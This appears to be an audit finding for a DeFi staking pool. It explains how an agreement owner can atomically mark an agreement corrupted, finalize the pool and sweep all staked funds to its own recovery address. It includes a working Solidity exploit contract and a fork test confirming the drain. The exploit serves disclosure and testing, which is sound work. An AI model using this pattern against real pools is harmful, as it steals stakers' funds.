The factory requires the sponsor to be the agreement owner and lets it choose the pool’s recovery address. The pinned AttackRegistry also makes the agreement owner the attack moderator by default and allows that role to be transferred while the agreement is still nonterminal.
Those three calls happen in one transaction. The first creates CORRUPTED, the second immediately finalizes the pool as bad-faith CORRUPTED, and the third sends the full pool balance to the sponsor’s recovery address.
So the contract counts 180 days of moderator “inaction” while the moderator is not allowed to act at all.
The upstream corruption does not need to be fake. A real agreement-level breach may still need the pool moderator to choose SURVIVED because the breach was outside the pool’s narrower scope, or good-faith CORRUPTED so a whitehat receives the bounty. This transaction removes both choices.
This test proves both moderator outcomes are unavailable before the terminal transition, then executes markCorrupted() → claimExpired() → claimCorrupted() atomically and confirms the sponsor’s recovery address receives the full 150e18 pool balance.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract AtomicCorruptionSweeper {
error Unauthorized();
address internal immutable controller;
address internal immutable agreement;
IAttackRegistry internal immutable registry;
IConfidencePool internal immutable pool;
constructor(
address controller_,
address registry_,
address agreement_,
address pool_
) {
controller = controller_;
registry = IAttackRegistry(registry_);
agreement = agreement_;
pool = IConfidencePool(pool_);
}
function execute() external {
if (msg.sender != controller) revert Unauthorized();
registry.markCorrupted(agreement);
pool.claimExpired();
pool.claimCorrupted();
}
}
contract AtomicCorruptionSweeperForkPoC is Test {
address internal constant SAFE_HARBOR_REGISTRY =
0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY =
0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant DEMO_AGREEMENT =
0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant DEMO_AGREEMENT_OWNER =
0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant DEMO_AGREEMENT_IN_SCOPE =
0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
uint256 internal constant PIN_BLOCK = 16_000;
address internal moderator =
makeAddr("independent-pool-moderator");
address internal victim =
makeAddr("victim-staker");
address internal contributor =
makeAddr("bonus-contributor");
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
MockERC20 internal token;
function setUp() public {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
ConfidencePool poolImplementation =
new ConfidencePool();
ConfidencePoolFactory factoryImplementation =
new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize,
(
SAFE_HARBOR_REGISTRY,
address(poolImplementation),
moderator
)
)
);
factory = ConfidencePoolFactory(address(proxy));
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory accounts = new address[](1);
accounts[0] = DEMO_AGREEMENT_IN_SCOPE;
vm.prank(DEMO_AGREEMENT_OWNER);
pool = ConfidencePool(
factory.createPool(
DEMO_AGREEMENT,
address(token),
block.timestamp + 31 days,
1e18,
DEMO_AGREEMENT_OWNER,
accounts
)
);
assertEq(pool.owner(), DEMO_AGREEMENT_OWNER);
assertEq(
pool.recoveryAddress(),
DEMO_AGREEMENT_OWNER
);
}
function testFork_OneExternalCallCreatesCorruptedFinalizesAndSweeps()
external
{
token.mint(victim, 100e18);
vm.startPrank(victim);
token.approve(address(pool), 100e18);
pool.stake(100e18);
vm.stopPrank();
token.mint(contributor, 50e18);
vm.startPrank(contributor);
token.approve(address(pool), 50e18);
pool.contributeBonus(50e18);
vm.stopPrank();
IAttackRegistry registry =
IAttackRegistry(ATTACK_REGISTRY);
assertEq(
registry.getAttackModerator(DEMO_AGREEMENT),
DEMO_AGREEMENT_OWNER
);
assertEq(
uint256(
registry.getAgreementState(DEMO_AGREEMENT)
),
uint256(
IAttackRegistry.ContractState.UNDER_ATTACK
)
);
pool.pokeRiskWindow();
assertGt(pool.riskWindowStart(), 0);
AtomicCorruptionSweeper sweeper =
new AtomicCorruptionSweeper(
DEMO_AGREEMENT_OWNER,
ATTACK_REGISTRY,
DEMO_AGREEMENT,
address(pool)
);
vm.prank(DEMO_AGREEMENT_OWNER);
registry.transferAttackModerator(
DEMO_AGREEMENT,
address(sweeper)
);
assertEq(
registry.getAttackModerator(DEMO_AGREEMENT),
address(sweeper)
);
vm.warp(
pool.expiry()
+ pool.MODERATOR_CORRUPTED_GRACE()
);
uint256 sponsorBalanceBefore =
token.balanceOf(DEMO_AGREEMENT_OWNER);
vm.startPrank(moderator);
vm.expectRevert(
IConfidencePool.InvalidOutcome.selector
);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
vm.expectRevert(
IConfidencePool.InvalidOutcome.selector
);
pool.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
makeAddr("pre-call-whitehat")
);
vm.stopPrank();
vm.prank(DEMO_AGREEMENT_OWNER);
sweeper.execute();
assertEq(
uint256(
registry.getAgreementState(DEMO_AGREEMENT)
),
uint256(
IAttackRegistry.ContractState.CORRUPTED
)
);
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.CORRUPTED)
);
assertTrue(pool.claimsStarted());
assertEq(
token.balanceOf(DEMO_AGREEMENT_OWNER)
- sponsorBalanceBefore,
150e18
);
assertEq(token.balanceOf(address(pool)), 0);
address whitehat = makeAddr("whitehat");
vm.startPrank(moderator);
vm.expectRevert(
IConfidencePool.OutcomeAlreadySet.selector
);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
vm.expectRevert(
IConfidencePool.OutcomeAlreadySet.selector
);
pool.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
whitehat
);
vm.stopPrank();
}
}